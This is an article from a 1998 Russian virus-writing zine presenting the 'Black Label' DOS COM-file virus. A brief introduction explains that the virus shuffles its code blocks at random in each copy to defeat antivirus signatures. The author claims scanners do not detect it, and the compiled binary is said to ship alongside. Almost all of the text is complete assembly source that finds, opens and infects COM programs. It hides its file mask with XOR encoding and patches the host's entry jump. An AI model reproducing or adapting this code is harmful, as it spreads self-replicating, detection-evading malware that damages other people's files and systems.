[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 8, Nov 1998 file 008
Вирус "Black Label"
by RedArc
Вирус pазмером в 1594 байта, инфицирует COM-программы в текущем каталоге.
При инфицировании первый блок в точке входа выбирает случайным образом из трех
возможных. Остальные блоки переставляет местами опять же случайным образом. В
конце вируса присутствует таблица, в которой записаны смещения и длины блоков.
Хоть таблица и находится в фиксированном месте зверька, но сигнатурой она вряд
ли сможет послужить, так как меняется от копии к копии. Глюки вроде бы все
выловил, антивирусы зверька не видят.
Короче, смотрите сами. Откомпилированный Black Label лежит в том же
каталоге (файл bl_label.com), где в журнале по традиции лежат все проги
аналогичного назначения.
Ну и на последок. Не применяйте вирусов во вред кому-либо. Это не хорошо.
Лучше постарайтесь заставить себя мыслить немного по другому, нежели это
предполагают стандарты, и учитесь, учитесь, учитесь...
=== Cut ===
;Virus "Black Label" (c) 1998 by RedArc
Model Tiny
.code
.386
org 100h
MyIntNum equ 03h
start:
jmp EntryPoint
db 0adh
db 100h dup (90h)
mov ax,4c00h
int 21h
EntryPoint:
pusha
mov bp,word ptr ds:[si+1]
add bp,103h
EPOFS equ $-EntryPoint
EPLAB:
mov di,bp
add di,Tabelle
mov ax,word ptr ds:[di]
add ax,bp
push ax
EPLEN equ $-EPLAB
ret
Begin_Length equ $-EntryPoint
o00 equ $-EntryPoint
@@00:
xor ax,ax
mov ds,ax
mov ax,word ptr cs:[di+3*4]
add ax,bp
cli
mov word ptr ds:[MyIntNum*4],ax
mov word ptr ds:[MyIntNum*4+2],cs
sti
mov di,1
int MyIntNum
push di
ret
l00 equ $-@@00
o01 equ $-EntryPoint
@@01:
mov ah,77h
xchg al,ah
lbl0:
in al,40h
cmp al,77h
jne lbl0
xchg al,ah
mov di,2
int MyIntNum
push di
ret
l01 equ $-@@01
o02 equ $-EntryPoint
@@02:
xor cx,cx
push cx
popf
pushf
pop cx
cmp cl,2
jz LBL2
LBL1:
inc di
int MyIntNum
jmp LBL1
LBL2:
push cs
pop ds
mov di,4
int MyIntNum
push di
ret
l02 equ $-@@02
o03 equ $-EntryPoint
@@03:
push ax
shl di,2
add di,bp
add di,Tabelle
mov ax,word ptr cs:[di]
add ax,bp
xchg di,ax
pop ax
iret
l03 equ $-@@03
o04 equ $-EntryPoint
@@04:
mov ax,3d3dh
xor ax,0adadh
mov di,5
int MyIntNum
push di
ret
l04 equ $-@@04
o05 equ $-EntryPoint
@@05:
mov word ptr ds:[si],ax
mov di,6
int MyIntNum
push di
ret
l05 equ $-@@05
o06 equ $-EntryPoint
@@06:
mov ax,3d3dh
xor ax,0adadh
mov di,7
int MyIntNum
push di
ret
l06 equ $-@@06
o07 equ $-EntryPoint
@@07:
mov word ptr ds:[si+2],ax
mov di,8
int MyIntNum
push di
ret
l07 equ $-@@07
o08 equ $-EntryPoint
@@08:
mov ah,1ah
mov di,9
int MyIntNum
push di
ret
l08 equ $-@@08
o09 equ $-EntryPoint
@@09:
mov dx,bp
mov di,0ah
int MyIntNum
push di
ret
l09 equ $-@@09
o0a equ $-EntryPoint
@@0a:
add dx,VirLength+TabelleLength+2
mov di,0bh
int MyIntNum
push di
ret
l0a equ $-@@0a
o0b equ $-EntryPoint
@@0b:
int 21h
mov di,0ch
int MyIntNum
push di
ret
l0b equ $-@@0b
o0c equ $-EntryPoint
@@0c:
mov ah,4eh
mov di,0dh
int MyIntNum
push di
ret
l0c equ $-@@0c
o0d equ $-EntryPoint
@@0d:
push ax cx
mov di,54h
int MyIntNum
mov cx,6
LBL_0:
mov al,byte ptr ds:[di]
xor al,0adh
mov byte ptr ds:[di],al
inc di
loop LBL_0
pop cx ax
mov di,0eh
int MyIntNum
push di
ret
l0d equ $-@@0d
o0e equ $-EntryPoint
@@0e:
mov di,54h
int MyIntNum
mov dx,di
mov di,0fh
int MyIntNum
push di
ret
l0e equ $-@@0e
o0f equ $-EntryPoint
@@0f:
mov di,10h
mov cx,0feh
int MyIntNum
push di
ret
l0f equ $-@@0f
o10 equ $-EntryPoint
@@10:
int 21h
mov di,11h
int MyIntNum
push di
ret
l10 equ $-@@10
o11 equ $-EntryPoint
@@11:
jnb LBL3
mov di,13h
int MyIntNum
push di
ret
LBL3:
mov di,12h
int MyIntNum
push di
ret
l11 equ $-@@11
o12 equ $-EntryPoint
@@12:
push ax cx
mov di,54h
int MyIntNum
mov cx,6
mov al,byte ptr ds:[di]
cmp al,'*'
jne LBL_B
LBL_K:
mov al,byte ptr ds:[di]
xor al,0adh
mov byte ptr ds:[di],al
inc di
loop LBL_K
LBL_B:
pop cx ax
mov di,19h
int MyIntNum
push di
ret
l12 equ $-@@12
o13 equ $-EntryPoint
@@13:
mov ah,1ah
mov di,14h
int MyIntNum
push di
ret
l13 equ $-@@13
o14 equ $-EntryPoint
@@14:
mov di,15h
mov dx,80h
int MyIntNum
push di
ret
l14 equ $-@@14
o15 equ $-EntryPoint
@@15:
int 21h
mov di,16h
int MyIntNum
push di
ret
l15 equ $-@@15
o16 equ $-EntryPoint
@@16:
popa
push si
ret
l16 equ $-@@16
o17 equ $-EntryPoint
@@17:
push ax
mov di,55h
int MyIntNum
mov ax,word ptr ds:[di]
xor ax,0adadh
mov di,4
int MyIntNum
mov word ptr ds:[di+1],ax
pop ax
mov di,53h
int MyIntNum
push di
ret
l17 equ $-@@17
o18 equ $-EntryPoint
@@18:
push ax cx si
mov ah,3h
xchg al,ah
H_RND:
in al,40h
cmp al,3h
jnc H_RND
cmp al,2
je RRRRR1
cmp al,1
je RRRRR2
cmp al,0
je RRRRR3
jmp H_RND
RRRRR1:
mov di,5fh
int MyIntNum
jmp RRRRR4
RRRRR2:
mov di,48h
int MyIntNum
jmp RRRRR4
RRRRR3:
mov di,18h
int MyIntNum
add di,R_DateOffs
RRRRR4:
mov si,bp
add si,EPOFS
mov cx,EPLEN
cld
xchg si,di
rep movsb
pop si cx ax
mov di,43h
int MyIntNum
push di
ret
R_DateOffs equ $-@@18
mov di,bp
add di,Tabelle
mov ax,word ptr ds:[di]
add ax,bp
push ax
l18 equ $-@@18
o19 equ $-EntryPoint
@@19:
mov ah,2fh
mov di,1ah
int MyIntNum
push di
ret
l19 equ $-@@19
o1a equ $-EntryPoint
@@1a:
int 21h
push di
mov di,1bh
int MyIntNum
push di
ret
l1a equ $-@@1a
o1b equ $-EntryPoint
@@1b:
pop di
xchg bx,di
push di
mov di,1ch
int MyIntNum
push di
ret
l1b equ $-@@1b
o1c equ $-EntryPoint
@@1c:
pop di
mov dx,di
push di
mov di,1dh
int MyIntNum
push di
ret
l1c equ $-@@1c
o1d equ $-EntryPoint
@@1d:
add dx,1eh
mov di,1eh
int MyIntNum
push di
ret
l1d equ $-@@1d
o1e equ $-EntryPoint
@@1e:
mov ax,4301h
mov di,1fh
int MyIntNum
push di
ret
l1e equ $-@@1e
o1f equ $-EntryPoint
@@1f:
xor cx,cx
mov di,20h
int MyIntNum
push di
ret
l1f equ $-@@1f
o20 equ $-EntryPoint
@@20:
int 21h
mov di,21h
int MyIntNum
push di
ret
l20 equ $-@@20
o21 equ $-EntryPoint
@@21:
mov ax,3d02h
mov di,22h
int MyIntNum
push di
ret
l21 equ $-@@21
o22 equ $-EntryPoint
@@22:
int 21h
mov di,23h
int MyIntNum
push di
ret
l22 equ $-@@22
o23 equ $-EntryPoint
@@23:
xchg bx,ax
mov di,24h
int MyIntNum
push di
ret
l23 equ $-@@23
o24 equ $-EntryPoint
@@24:
mov ah,3fh
mov di,26h
int MyIntNum
push di
ret
l24 equ $-@@24
o25 equ $-EntryPoint
@@25:
push ax
mov di,55h
int MyIntNum
mov word ptr ds:[di],cs
mov word ptr ds:[di+2],cs
pop ax
mov di,41h
int MyIntNum
push di
ret
l25 equ $-@@25
o26 equ $-EntryPoint
@@26:
mov di,55h
int MyIntNum
xchg dx,di
mov di,27h
int MyIntNum
push di
ret
l26 equ $-@@26
o27 equ $-EntryPoint
@@27:
mov cx,4
mov di,28h
int MyIntNum
push di
ret
l27 equ $-@@27
o28 equ $-EntryPoint
@@28:
int 21h
mov di,29h
int MyIntNum
push di
ret
l28 equ $-@@28
o29 equ $-EntryPoint
@@29:
mov di,55h
int MyIntNum
mov al,byte ptr ds:[di+3]
mov di,2ah
int MyIntNum
push di
ret
l29 equ $-@@29
o2a equ $-EntryPoint
@@2a:
cmp al,0adh
mov di,2bh
int MyIntNum
push di
ret
l2a equ $-@@2a
o2b equ $-EntryPoint
@@2b:
jz LBL_5
mov di,39h
int MyIntNum
push di
ret
LBL_5:
mov di,2ch
int MyIntNum
push di
ret
l2b equ $-@@2b
o2c equ $-EntryPoint
@@2c:
mov ax,5701h
mov di,2dh
int MyIntNum
push di
ret
l2c equ $-@@2c
o2d equ $-EntryPoint
@@2d:
pop di
mov cx,word ptr ds:[di+16h]
push di
mov di,2eh
int MyIntNum
push di
ret
l2d equ $-@@2d
o2e equ $-EntryPoint
@@2e:
pop di
mov dx,word ptr ds:[di+18h]
push di
mov di,2fh
int MyIntNum
push di
ret
l2e equ $-@@2e
o2f equ $-EntryPoint
@@2f:
int 21h
mov di,30h
int MyIntNum
push di
ret
l2f equ $-@@2f
o30 equ $-EntryPoint
@@30:
mov ah,3eh
mov di,31h
int MyIntNum
push di
ret
l30 equ $-@@30
o31 equ $-EntryPoint
@@31:
int 21h
mov di,32h
int MyIntNum
push di
ret
l31 equ $-@@31
o32 equ $-EntryPoint
@@32:
pop di
mov dx,di
push di
mov di,33h
int MyIntNum
push di
ret
l32 equ $-@@32
o33 equ $-EntryPoint
@@33:
add dx,1eh
mov di,34h
int MyIntNum
push di
ret
l33 equ $-@@33
o34 equ $-EntryPoint
@@34:
xor cx,cx
mov di,35h
int MyIntNum
push di
ret
l34 equ $-@@34
o35 equ $-EntryPoint
@@35:
pop di
mov cl, byte ptr ds:[di+15h]
push di
mov di,36h
int MyIntNum
push di
ret
l35 equ $-@@35
o36 equ $-EntryPoint
@@36:
int 21h
mov di,37h
int MyIntNum
push di
ret
l36 equ $-@@36
o37 equ $-EntryPoint
@@37:
mov ah,4fh
mov di,38h
int MyIntNum
push di
ret
l37 equ $-@@37
o38 equ $-EntryPoint
@@38:
pop di
mov di,10h
int MyIntNum
push di
ret
l38 equ $-@@38
o39 equ $-EntryPoint
@@39:
mov ax,4202h
mov di,3ah
int MyIntNum
push di
ret
l39 equ $-@@39
o3a equ $-EntryPoint
@@3a:
xor cx,cx
mov di,3bh
int MyIntNum
push di
ret
l3a equ $-@@3a
o3b equ $-EntryPoint
@@3b:
xor dx,dx
mov di,3ch
int MyIntNum
push di
ret
l3b equ $-@@3b
o3c equ $-EntryPoint
@@3c:
int 21h
mov di,3dh
int MyIntNum
push di
ret
l3c equ $-@@3c
o3d equ $-EntryPoint
@@3d:
cmp ax,0ffffh-VirLength
mov di,3eh
int MyIntNum
push di
ret
l3d equ $-@@3d
o3e equ $-EntryPoint
@@3e:
jb LBL_4
mov di,2ch
int MyIntNum
push di
ret
LBL_4:
mov di,3fh
int MyIntNum
push di
ret
l3e equ $-@@3e
o3f equ $-EntryPoint
@@3f:
push ax
mov di,40h
int MyIntNum
push di
ret
l3f equ $-@@3f
o40 equ $-EntryPoint
@@40:
mov ah,40h
mov di,17h
int MyIntNum
push di
ret
l40 equ $-@@40
o41 equ $-EntryPoint
@@41:
mov dx,bp
mov di,42h
int MyIntNum
push di
ret
l41 equ $-@@41
o42 equ $-EntryPoint
@@42:
mov cx,Begin_Length
mov di,18h
int MyIntNum
push di
ret
l42 equ $-@@42
o43 equ $-EntryPoint
@@43:
int 21h
mov di,57h
int MyIntNum
push di
ret
l43 equ $-@@43
o44 equ $-EntryPoint
@@44:
mov ax,4200h
mov di,45h
int MyIntNum
push di
ret
l44 equ $-@@44
o45 equ $-EntryPoint
@@45:
xor cx,cx
mov di,46h
int MyIntNum
push di
ret
l45 equ $-@@45
o46 equ $-EntryPoint
@@46:
xor dx,dx
mov di,47h
int MyIntNum
push di
ret
l46 equ $-@@46
o47 equ $-EntryPoint
@@47:
int 21h
mov di,49h
int MyIntNum
push di
ret
l47 equ $-@@47
o48 equ $-EntryPoint
@@48:
mov di,bp
add di,Tabelle
mov cx,word ptr ds:[di]
add cx,bp
push cx
l48 equ $-@@48
o49 equ $-EntryPoint
@@49:
mov di,55h
int MyIntNum
xchg si,di
mov di,4ah
int MyIntNum
push di
ret
l49 equ $-@@49
o4a equ $-EntryPoint
@@4a:
mov byte ptr ds:[si],0e9h
mov di,4bh
int MyIntNum
push di
ret
l4a equ $-@@4a
o4b equ $-EntryPoint
@@4b:
pop ax
mov di,4ch
int MyIntNum
push di
ret
l4b equ $-@@4b
o4c equ $-EntryPoint
@@4c:
sub ax,3
mov di,4dh
int MyIntNum
push di
ret
l4c equ $-@@4c
o4d equ $-EntryPoint
@@4d:
mov word ptr ds:[si+1],ax
mov di,4eh
int MyIntNum
push di
ret
l4d equ $-@@4d
o4e equ $-EntryPoint
@@4e:
mov byte ptr ds:[si+3],0adh
mov di,4fh
int MyIntNum
push di
ret
l4e equ $-@@4e
o4f equ $-EntryPoint
@@4f:
mov ah,40h
mov di,50h
int MyIntNum
push di
ret
l4f equ $-@@4f
o50 equ $-EntryPoint
@@50:
mov dx,si
mov di,51h
int MyIntNum
push di
ret
l50 equ $-@@50
o51 equ $-EntryPoint
@@51:
mov cx,4
mov di,52h
int MyIntNum
push di
ret
l51 equ $-@@51
o52 equ $-EntryPoint
@@52:
int 21h
mov di,2ch
int MyIntNum
push di
ret
l52 equ $-@@52
o53 equ $-EntryPoint
@@53:
push ax
mov di,55h
int MyIntNum
mov ax,word ptr ds:[di+2]
xor ax,0adadh
mov di,6
int MyIntNum
mov word ptr ds:[di+1],ax
pop ax
mov di,25h
int MyIntNum
push di
ret
l53 equ $-@@53
o54 equ $-EntryPoint
@@54:
db '*' xor 0adh, '.' xor 0adh, 'c' xor 0adh, 'o' xor 0adh, 'm' xor 0adh, 00h xor 0adh
l54 equ $-@@54
o55 equ $-EntryPoint
@@55:
dw 9090h, 9090h
l55 equ $-@@55
; PerMutator
o56 equ $-EntryPoint
@@56:
mov ah,60h
xchg al,ah
RND:
in al,40h
cmp al,60h
jnc RND
mov di,59h
int MyIntNum
push di
ret
l56 equ $-@@56
o57 equ $-EntryPoint
@@57:
pusha
mov di,bp
add di,Count
xor ax,ax
mov word ptr ds:[di],ax
mov si,bp
add si,NewTabelle
mov cx,TabelleLength
L1:
mov byte ptr ds:[si],00h
inc si
loop L1
mov si,bp
add si,NewTabelle
mov cx,Begin_Length
mov di,58h
int MyIntNum
push di
ret
l57 equ $-@@57
o58 equ $-EntryPoint
@@58:
mov di,56h
int MyIntNum
push di
ret
l58 equ $-@@58
o59 equ $-EntryPoint
@@59:
xor ah,ah
shl ax,2
mov di,bp
add di,ax
add di,NewTabelle
mov dx,word ptr ds:[di]
cmp dx,0
je L2
mov di,58h
int MyIntNum
push di
ret
L2:
mov di,5ah
int MyIntNum
push di
ret
l59 equ $-@@59
o5a equ $-EntryPoint
@@5a:
mov si,bp
add si,ax
add si,NewTabelle
mov word ptr ds:[si],cx
mov di,5bh
int MyIntNum
push di
ret
l5a equ $-@@5a
o5b equ $-EntryPoint
@@5b:
mov di,bp
add di,Tabelle
add di,ax
mov dx,word ptr ds:[di+2]
add cx,dx
mov si,bp
add si,ax
add si,NewTabelle
mov word ptr ds:[si+2],dx
mov di,5ch
int MyIntNum
push di
ret
l5b equ $-@@5b
o5c equ $-EntryPoint
@@5c:
mov di,bp
add di,ax
add di,Tabelle
mov ah,40h
mov dx,word ptr ds:[di]
add dx,bp
push cx
mov cx,word ptr ds:[di+2]
int 21h
pop cx
mov di,5dh
int MyIntNum
push di
ret
l5c equ $-@@5c
o5d equ $-EntryPoint
@@5d:
mov di,bp
add di,Count
mov ax,word ptr ds:[di]
inc ax
cmp ax,060h
je WriteNewTabelle
mov word ptr ds:[di],ax
mov di,58h
int MyIntNum
push di
ret
WriteNewTabelle:
mov di,5eh
int MyIntNum
push di
ret
l5d equ $-@@5d
o5e equ $-EntryPoint
@@5e:
mov dx,bp
add dx,NewTabelle
mov cx,TabelleLength
mov ah,40h
int 21h
popa
mov di,44h
int MyIntNum
push di
ret
l5e equ $-@@5e
o5f equ $-EntryPoint
@@5f:
mov di,bp
add di,Tabelle
mov bx,word ptr ds:[di]
add bx,bp
push bx
l5f equ $-@@5f
Tabelle equ $-EntryPoint
Tabs:
dw o00,l00,o01,l01,o02,l02,o03,l03,o04,l04,o05,l05,o06,l06,o07,l07,o08,l08,o09,l09,o0a,l0a,o0b,l0b,o0c,l0c,o0d,l0d,o0e,l0e,o0f,l0f
dw o10,l10,o11,l11,o12,l12,o13,l13,o14,l14,o15,l15,o16,l16,o17,l17,o18,l18,o19,l19,o1a,l1a,o1b,l1b,o1c,l1c,o1d,l1d,o1e,l1e,o1f,l1f
dw o20,l20,o21,l21,o22,l22,o23,l23,o24,l24,o25,l25,o26,l26,o27,l27,o28,l28,o29,l29,o2a,l2a,o2b,l2b,o2c,l2c,o2d,l2d,o2e,l2e,o2f,l2f
dw o30,l30,o31,l31,o32,l32,o33,l33,o34,l34,o35,l35,o36,l36,o37,l37,o38,l38,o39,l39,o3a,l3a,o3b,l3b,o3c,l3c,o3d,l3d,o3e,l3e,o3f,l3f
dw o40,l40,o41,l41,o42,l42,o43,l43,o44,l44,o45,l45,o46,l46,o47,l47,o48,l48,o49,l49,o4a,l4a,o4b,l4b,o4c,l4c,o4d,l4d,o4e,l4e,o4f,l4f
dw o50,l50,o51,l51,o52,l52,o53,l53,o54,l54,o55,l55,o56,l56,o57,l57,o58,l58,o59,l59,o5a,l5a,o5b,l5b,o5c,l5c,o5d,l5d,o5e,l5e,o5f,l5f
TabelleLength equ $-Tabs
VirLength equ $-EntryPoint
Count equ $-EntryPoint
dw ?
NewTabelle equ $-EntryPoint
end start
=== Cut ===